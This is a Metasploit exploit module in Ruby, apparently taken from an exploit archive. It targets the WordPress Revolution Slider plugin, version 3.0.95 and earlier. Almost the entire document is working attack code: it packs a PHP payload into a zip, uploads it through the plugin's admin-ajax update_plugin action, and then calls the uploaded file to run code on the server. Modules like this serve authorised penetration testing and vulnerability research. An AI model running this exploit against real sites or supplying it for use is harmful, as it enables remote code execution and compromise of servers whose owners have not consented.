WordPress Plugin RevSlider 3.0.95 – Arbitrary File Upload / Execution (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Wordpress RevSlider File Upload and Execute Vulnerability', 'Description' => %q{ This module exploits an arbitrary PHP code upload in the WordPress ThemePunch Revolution Slider ( revslider ) plugin, version 3.0.95 and prior. The vulnerability allows for arbitrary file upload and remote code execution. }, 'Author' => [ 'Simo Ben youssef', # Vulnerability discovery 'Tom Sellers <tom[at]fadedcode.net>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/'], ['EDB', '35385'], ['WPVDB', '7954'], ['OSVDB', '115118'] ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['ThemePunch Revolution Slider (revslider) 3.0.95', {}]], 'DisclosureDate' => 'Nov 26 2015', 'DefaultTarget' => 0) ) end def check release_log_url = normalize_uri(wordpress_url_plugins, 'revslider', 'release_log.txt') check_version_from_custom_file(release_log_url, /^\s*(?:version)\s*(\d{1,2}\.\d{1,2}(?:\.\d{1,2})?).*$/mi, '3.0.96') end def exploit php_pagename = rand_text_alpha(4 + rand(4)) + '.php' # Build the zip payload_zip = Rex::Zip::Archive.new # If the filename in the zip is revslider.php it will be automatically # executed but it will break the plugin and sometimes WordPress payload_zip.add_file('revslider/' + php_pagename, payload.encoded) # Build the POST body data = Rex::MIME::Message.new data.add_part('revslider_ajax_action', nil, nil, 'form-data; name="action"') data.add_part('update_plugin', nil, nil, 'form-data; name="client_action"') data.add_part(payload_zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"update_file\"; filename=\"revslider.zip\"") post_data = data.to_s res = send_request_cgi( 'uri' => wordpress_url_admin_ajax, 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data ) if res if res.code == 200 && res.body =~ /Update in progress/ # The payload itself almost never deleted, try anyway register_files_for_cleanup(php_pagename) # This normally works register_files_for_cleanup('../revslider.zip') final_uri = normalize_uri(wordpress_url_plugins, 'revslider', 'temp', 'update_extract', 'revslider', php_pagename) print_good("#{peer} - Our payload is at: #{final_uri}") print_status("#{peer} - Calling payload...") send_request_cgi( 'uri' => normalize_uri(final_uri), 'timeout' => 5 ) elsif res.code == 200 && res.body =~ /^0$/ # admin-ajax.php returns 0 if the 'action' 'revslider_ajax_action' is unknown fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable or the plugin is deactivated") else fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") end else fail_with(Failure::Unknown, 'ERROR') end end end |